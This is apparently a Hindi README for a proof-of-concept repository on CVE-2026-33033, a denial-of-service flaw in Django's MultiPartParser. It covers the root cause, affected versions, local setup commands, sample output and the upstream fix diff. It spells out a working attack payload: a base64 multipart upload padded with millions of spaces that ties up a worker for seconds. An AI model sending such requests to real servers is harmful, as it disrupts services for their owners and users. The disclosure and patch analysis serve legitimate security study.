
CVE-2026-33033 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Django के MultiPartParser में बेस64 व्हाइटस्पेस CPU एम्प्लीफिकेशन के माध्यम से एक denial-of-service भेद्यता, जो एक ही HTTP अनुरोध के साथ ~800x एम्प्लीफिकेशन प्रदर्शित करती है।
Django MultiPartParser में base64 व्हाइटस्पेस CPU एम्प्लीफिकेशन के माध्यम से डेनियल-ऑफ-सर्विस
एक मात्र 2.5 MB HTTP अनुरोध Django वर्कर को ~5 सेकंड के लिए व्यस्त रख सकता है, जो समान आकार के सामान्य अनुरोध की तुलना में ~2,100x CPU एम्प्लीफिकेशन प्राप्त करता है। किसी प्रमाणीकरण की आवश्यकता नहीं है।
यह भेद्यता Django 6.0.4 सुरक्षा रिलीज़ (7 अप्रैल, 2026) में ठीक की गई थी, साथ ही सभी समर्थित शाखाओं के लिए बैकपोर्ट भी शामिल हैं।
| शाखा | प्रभावित | ठीक किया गया |
|---|
| Django 6.0.x | <= 6.0.3 | 6.0.4 |
| Django 5.2.x | <= 5.2.11 | 5.2.12 |
| Django 5.1.x | <= 5.1.x | 5.1.16 |
| Django 5.0.x | <= 5.0.14 | 5.0.15 |
| Django 4.2.x | <= 4.2.28 | 4.2.29 |
CVE-2026-33033:
MultiPartParserमें base64-एन्कोडेड फ़ाइल अपलोड के माध्यम से संभावित डेनियल-ऑफ-सर्विस भेद्यता (गंभीरता: मध्यम)
django.http.multipartparser.MultiPartParserका उपयोग करते समय,Content-Transfer-Encoding: base64वाले मल्टीपार्ट अपलोड जिनमें अत्यधिक व्हाइटस्पेस शामिल हो, बार-बार मेमोरी कॉपी को ट्रिगर कर सकते हैं, जिससे प्रदर्शन में गिरावट आ सकती है।
| CVE | गंभीरता | विवरण |
|---|---|---|
| CVE-2026-3902 | निम्न | अंडरस्कोर/हाइफ़न संगम के माध्यम से ASGI हेडर स्पूफिंग |
| CVE-2026-4277 | निम्न | GenericInlineModelAdmin में विशेषाधिकार दुरुपयोग |
| CVE-2026-4292 | निम्न | ModelAdmin.list_editable में विशेषाधिकार दुरुपयोग |
| CVE-2026-33034 | निम्न | अनुपलब्ध Content-Length के माध्यम से ASGI मेमोरी अपलोड सीमा बायपास |
Django के MultiPartParser में Content-Transfer-Encoding: base64 वाले फ़ाइल भागों को संभालने के लिए एक विशेष कोड पथ है। प्रत्येक चंक से व्हाइटस्पेस हटाने के बाद, यदि परिणाम 4 बाइट्स के गुणक के साथ संरेखित नहीं है, तो एक while-लूप अतिरिक्त बाइट्स प्राप्त करने के लिए field_stream.read(1) को एक-एक करके कॉल करता है।
जब फ़ाइल बॉडी लगभग पूरी तरह से व्हाइटस्पेस होती है, तो प्रत्येक प्राप्त बाइट कुछ भी नहीं बचता है, इसलिए लूप जारी रहता है — प्रत्येक व्हाइटस्पेस बाइट के लिए read(1) एक बार कॉल करता है। महत्वपूर्ण अंतर्दृष्टि यह है कि प्रत्येक read(1) उससे कहीं अधिक महंगा है जितना दिखता है:
परत 1: base64 संरेखण लूप प्रति व्हाइटस्पेस बाइट read(1) कॉल करता है
|
परत 2: LazyStream.read(1) पूरा शेष (~64 KB) प्राप्त करता है, 1 बाइट स्लाइस करता है,
~64 KB - 1 वापस unget करता है --> प्रति कॉल O(C) बाइट कॉपी
|
परत 3: unget() करता है self._leftover = bytes + self._leftover
हर बार एक नया bytes ऑब्जेक्ट बनाता है --> ~C बाइट्स की memcpy
प्रति 64 KB चंक, कॉपी कार्य एक अंकगणितीय श्रृंखला बनाता है:
कुल = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2.15 अरब बाइट ऑपरेशन
2.5 MB इनपुट (~40 चंक) के लिए: एक ही HTTP अनुरोध से ~86 अरब बाइट्स की memcpy कार्य।
Django में _update_unget_history() शामिल है जो 50 ऑपरेशनों में 40+ बार समान बाइट गिनती unget होने पर SuspiciousMultipartForm उठाता है। हालाँकि, इस हमले में unget आकार नीरस रूप से घटते हैं (65535, 65534, 65533, ...), इसलिए हर आकार अद्वितीय है और जाँच कभी ट्रिगर नहीं होती।
CSRF मिडलवेयर किसी भी व्यू चलने से पहले request.POST तक पहुँचता है, इसलिए 403 लौटाने वाले एंडपॉइंट भी पूरी पार्सिंग लागत वहन करते हैं।
CVE-2026-33033-PoC/
├── README.md # यह फ़ाइल
├── LICENSE
├── requirements.txt # Python निर्भरताएँ
├── exploit.py # एक्सप्लॉइट स्क्रिप्ट
└── victim/ # भेद्य Django सर्वर
├── manage.py
├── uwsgi.ini # uWSGI डिप्लॉयमेंट कॉन्फ़िग
└── victim/
├── __init__.py
├── settings.py # Django डिफ़ॉल्ट (कोई विशेष कॉन्फ़िग आवश्यक नहीं)
├── urls.py # /upload और /health एंडपॉइंट
└── wsgi.py
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
विकल्प A: Django डेवलपमेंट सर्वर (सबसे तेज़)
cd victim
python manage.py runserver 0.0.0.0:8000
विकल्प B: uWSGI (अधिक यथार्थवादी — 4 वर्कर का उपयोग करता है)
cd victim
uwsgi --ini uwsgi.ini
एक अलग टर्मिनल में:
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload
विकल्प:
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|---|---|
--target | http://127.0.0.1:8000/upload | लक्ष्य अपलोड एंडपॉइंट |
--size | 2621440 (2.5 MB) | पेलोड आकार बाइट्स में |
--rounds | 3 | हमले के राउंड की संख्या |
============================================================
CVE-2026-33033 PoC
Django MultiPartParser में base64 व्हाइटस्पेस CPU एम्प्लीफिकेशन
के माध्यम से डेनियल-ऑफ-सर्विस
============================================================
लक्ष्य: http://127.0.0.1:8000/upload
पेलोड आकार: 2,621,440 बाइट्स (2.5 MB)
राउंड: 3
[*] सर्वर स्वास्थ्य जाँच...
[+] सर्वर चालू है।
------------------------------------------------------------
[*] चरण 1: BENIGN अनुरोध भेजना (सामान्य base64 डेटा)
------------------------------------------------------------
स्थिति: 200
समय: 5.55 ms
------------------------------------------------------------
[*] चरण 2: MALICIOUS अनुरोध भेजना (base64 + व्हाइटस्पेस)
------------------------------------------------------------
राउंड 1/3:
स्थिति: 200
समय: 4571.12 ms
...
============================================================
परिणाम
============================================================
Benign अनुरोध: 5.55 ms
हमला औसत: 4571.12 ms (3 राउंड में)
एम्प्लीफिकेशन: 823x
[!] भेद्य: औसत हमला समय 1 सेकंड से अधिक है।
एक मात्र 2.5 MB अनुरोध वर्कर को ~4.6s के लिए व्यस्त रखता है।
4 वर्कर के साथ, केवल 4 समवर्ती अनुरोध सर्वर को DoS कर सकते हैं।
एक्सप्लॉइट एक multipart/form-data POST बॉडी बनाता है जिसमें एक फ़ाइल भाग होता है:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552
------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
AAA<2,621,433 spaces>A
------CVE2026-33033--
AAA stripped_chunk = b"AAA" (3 बाइट्स) बनाता है, इसलिए remaining = 3 % 4 = 3।field_stream.read(1) कॉल करता है।b"".join(b" ".split()) == b""), remaining = 3 बनाए रखता है।LazyStream.read(1) आंतरिक रूप से unget तंत्र के माध्यम से ~64 KB कॉपी करता है।django/http/multipartparser.py, पंक्तियाँ 302-325 (Django 5.0.x):
for chunk in field_stream:
if transfer_encoding == "base64":
stripped_chunk = b"".join(chunk.split())
remaining = len(stripped_chunk) % 4
while remaining != 0:
over_chunk = field_stream.read(4 - remaining) # <-- read(1)
if not over_chunk:
break
stripped_chunk += b"".join(over_chunk.split()) # खाली करने के लिए स्ट्रिप करता है
remaining = len(stripped_chunk) % 4 # 3 पर बना रहता है
फिक्स (Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29 में लागू) प्रति-बाइट read(1) लूप को बल्क read(self._chunk_size) से बदल देता है:
- stripped_chunk = b"".join(chunk.split())
+ stripped_parts = [b"".join(chunk.split())]
+ stripped_length = len(stripped_parts[0])
- remaining = len(stripped_chunk) % 4
- while remaining != 0:
- over_chunk = field_stream.read(4 - remaining)
+ while stripped_length % 4 != 0:
+ over_chunk = field_stream.read(self._chunk_size)
if not over_chunk:
break
- stripped_chunk += b"".join(over_chunk.split())
- remaining = len(stripped_chunk) % 4
+ over_stripped = b"".join(over_chunk.split())
+ stripped_parts.append(over_stripped)
+ stripped_length += len(over_stripped)
+
+ stripped_chunk = b"".join(stripped_parts)
मुख्य परिवर्तन:
read(4 - remaining) → read(self._chunk_size) — 1-3 बाइट्स के बजाय एक बार में 64 KB पढ़ता है, read कॉल को ~2.5 मिलियन से घटाकर ~40 कर देता है।stripped_chunk += ... → stripped_parts.append(...) + अंतिम b"".join() — संभावित द्विघात बाइट्स संयोजन से बचाता है।len(stripped_chunk) % 4 → stripped_length काउंटर — अनावश्यक लंबाई पुनर्गणना से बचाता है।यह प्रूफ-ऑफ-कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग जिम्मेदारी से और केवल उन प्रणालियों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है।
Apache License 2.0 — LICENSE देखें।